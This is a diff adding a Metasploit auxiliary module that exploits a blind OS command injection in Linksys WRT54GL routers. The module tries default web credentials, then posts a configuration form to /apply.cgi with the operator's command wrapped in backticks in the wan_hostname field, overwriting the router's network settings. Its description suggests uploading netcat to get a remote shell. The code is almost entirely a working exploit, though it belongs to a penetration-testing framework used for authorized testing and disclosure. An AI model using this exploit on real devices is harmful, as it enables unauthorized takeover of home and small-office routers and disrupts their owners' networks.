|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Linksys WRT54GL Remote Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + Some Linksys Routers are vulnerable to OS Command injection. |
| 19 | + You will need credentials to the web interface to access the vulnerable part |
| 20 | + of the application. |
| 21 | + Default credentials are always a good starting point. admin/admin or admin |
| 22 | + and blank password could be a first try. |
| 23 | + Note: This is a blind os command injection vulnerability. This means that |
| 24 | + you will not see any output of your command. Try a ping command to your |
| 25 | + local system for a first test. |
| 26 | + |
| 27 | + Hint: To get a remote shell you could upload a netcat binary and exec it. |
| 28 | + WARNING: Backup your network and dhcp configuration. We will overwrite it! |
| 29 | + Have phun |
| 30 | + }, |
| 31 | + 'Author' => [ 'm-1-k-3' ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'URL', 'http://homesupport.cisco.com/en-eu/support/routers/WRT54GL' ], |
| 36 | + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], |
| 37 | + [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], |
| 38 | + [ 'EDB', '24202' ], |
| 39 | + [ 'BID', '57459' ], |
| 40 | + [ 'OSVDB', '89421' ], |
| 41 | + ], |
| 42 | + 'DefaultTarget' => 0, |
| 43 | + 'DisclosureDate' => 'Jan 18 2013')) |
| 44 | + |
| 45 | + register_options( |
| 46 | + [ |
| 47 | + Opt::RPORT(80), |
| 48 | + OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']), |
| 49 | + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), |
| 50 | + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), |
| 51 | + OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), |
| 52 | + OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), |
| 53 | + OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']), |
| 54 | + OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), |
| 55 | + OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), |
| 56 | + OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']), |
| 57 | + ], self.class) |
| 58 | + end |
| 59 | + |
| 60 | + def run |
| 61 | + #setting up some basic variables |
| 62 | + uri = datastore['TARGETURI'] |
| 63 | + user = datastore['USERNAME'] |
| 64 | + rhost = datastore['RHOST'] |
| 65 | + netmask = datastore['NETMASK'] |
| 66 | + routername = datastore['ROUTER_NAME'] |
| 67 | + wandomain = datastore['WAN_DOMAIN'] |
| 68 | + wanmtu = datastore['WAN_MTU'] |
| 69 | + |
| 70 | + if datastore['LANIP'] !~ /1.1.1.1/ |
| 71 | + #there is a configuration from the user so we use LANIP for the router configuration |
| 72 | + ip = datastore['LANIP'].split('.') |
| 73 | + else |
| 74 | + #no configuration from user so we use RHOST for the router configuration |
| 75 | + ip = rhost.split('.') |
| 76 | + end |
| 77 | + |
| 78 | + # not sure if this is a good way for blank passwords: |
| 79 | + if datastore['PASSWORD'] == "<BLANK>" |
| 80 | + pass = "" |
| 81 | + else |
| 82 | + pass = datastore['PASSWORD'] |
| 83 | + end |
| 84 | + |
| 85 | + print_status("Trying to login with #{user} / #{pass}") |
| 86 | + |
| 87 | + begin |
| 88 | + res = send_request_cgi({ |
| 89 | + 'uri' => uri, |
| 90 | + 'method' => 'GET', |
| 91 | + 'basic_auth' => "#{user}:#{pass}" |
| 92 | + }) |
| 93 | + |
| 94 | + unless (res.kind_of? Rex::Proto::Http::Response) |
| 95 | + vprint_error("#{rhost} not responding") |
| 96 | + end |
| 97 | + |
| 98 | + return :abort if (res.code == 404) |
| 99 | + |
| 100 | + if [200, 301, 302].include?(res.code) |
| 101 | + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") |
| 102 | + else |
| 103 | + print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") |
| 104 | + return :abort |
| 105 | + end |
| 106 | + |
| 107 | + rescue ::Rex::ConnectionError |
| 108 | + vprint_error("#{rhost} - Failed to connect to the web server") |
| 109 | + return :abort |
| 110 | + end |
| 111 | + |
| 112 | + print_status("Sending remote command: " + datastore['CMD']) |
| 113 | + |
| 114 | + # cmd = Rex::Text.uri_encode(datastore['CMD']) |
| 115 | + cmd = datastore['CMD'] |
| 116 | + |
| 117 | + #original Post Request: |
| 118 | +# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" |
| 119 | + |
| 120 | + if datastore['VERBOSE'] == true |
| 121 | + print_line("using the following target URL: \n#{uri}") |
| 122 | + end |
| 123 | + |
| 124 | + begin |
| 125 | + res = send_request_cgi( |
| 126 | + { |
| 127 | + 'uri' => uri, |
| 128 | + 'method' => 'POST', |
| 129 | + 'basic_auth' => "#{pass}:#{pass}", |
| 130 | + #'data' => data_cmd, |
| 131 | + |
| 132 | + 'vars_post' => |
| 133 | + { |
| 134 | + 'submit_button' => "index", |
| 135 | + 'change_action' => "1", |
| 136 | + 'submit_type' => "1", |
| 137 | + 'action' => "Apply", |
| 138 | + 'now_proto' => "dhcp", |
| 139 | + 'daylight_time' => "1", |
| 140 | + 'lan_ipaddr' => "4", |
| 141 | + 'wait_time' => "0", |
| 142 | + 'need_reboot' => "0", |
| 143 | + 'ui_language' => "de", |
| 144 | + 'wan_proto' => "dhcp", |
| 145 | + 'router_name' => "#{routername}", |
| 146 | + 'wan_hostname' => "`#{cmd}`", |
| 147 | + 'wan_domain' => "#{wandomain}", |
| 148 | + 'mtu_enable' => "1", |
| 149 | + 'wan_mtu' => "#{wanmtu}", |
| 150 | + 'lan_ipaddr_0' => "#{ip[0]}", |
| 151 | + 'lan_ipaddr_1' => "#{ip[1]}", |
| 152 | + 'lan_ipaddr_2' => "#{ip[2]}", |
| 153 | + 'lan_ipaddr_3' => "#{ip[3]}", |
| 154 | + 'lan_netmask' => "#{netmask}", |
| 155 | + 'lan_proto' => "dhcp", |
| 156 | + 'dhcp_check' => "1", |
| 157 | + 'dhcp_start' => "100", |
| 158 | + 'dhcp_num' => "50", |
| 159 | + 'dhcp_lease' => "0", |
| 160 | + 'wan_dns' => "4", |
| 161 | + 'wan_dns0_0' => "0", |
| 162 | + 'wan_dns0_1' => "0", |
| 163 | + 'wan_dns0_2' => "0", |
| 164 | + 'wan_dns0_3' => "0", |
| 165 | + 'wan_dns1_0' => "0", |
| 166 | + 'wan_dns1_1' => "0", |
| 167 | + 'wan_dns1_2' => "0", |
| 168 | + 'wan_dns1_3' => "0", |
| 169 | + 'wan_dns2_0' => "0", |
| 170 | + 'wan_dns2_1' => "0", |
| 171 | + 'wan_dns2_2' => "0", |
| 172 | + 'wan_dns2_3' => "0", |
| 173 | + 'wan_wins' => "4", |
| 174 | + 'wan_wins_0' => "0", |
| 175 | + 'wan_wins_1' => "0", |
| 176 | + 'wan_wins_2' => "0", |
| 177 | + 'wan_wins_3' => "0", |
| 178 | + 'time_zone' => "-08+1+1", |
| 179 | + '_daylight_time' => '1' |
| 180 | + }, |
| 181 | + }) |
| 182 | + rescue ::Rex::ConnectionError |
| 183 | + vprint_error("#{rhost} - Failed to connect to the web server") |
| 184 | + return :abort |
| 185 | + end |
| 186 | + print_line("") |
| 187 | + print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed") |
| 188 | + print_status("Blind Exploitation - unknown Exploitation state\n") |
| 189 | + end |
| 190 | +end |
| 191 | + |
0 commit comments